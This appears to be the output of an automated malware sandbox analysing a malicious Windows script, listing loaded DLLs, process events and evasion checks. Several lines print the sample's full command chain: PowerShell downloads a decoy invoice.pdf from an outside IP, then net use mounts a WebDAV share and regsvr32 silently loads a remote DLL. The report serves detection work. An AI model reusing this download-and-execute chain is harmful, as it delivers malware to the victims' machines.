Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7385.js.csv");ITextStream.WriteLine(" entry:7628 f:kuksmuv");ITextStream.WriteLine(" exec:2 f:kuksmuv");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4447			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5408			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3632	Thread sleep count: 4447 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3632	Thread sleep count: 5408 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1012	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2200	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6008	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7332	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000003.1756320016.00000136FDB88000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1756709958.00000136FDB30000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1756880564.00000136FDB88000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2971514136.000001D4D862B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2972840610.000001D4DDC21000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2972912764.000001D4DDC5C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

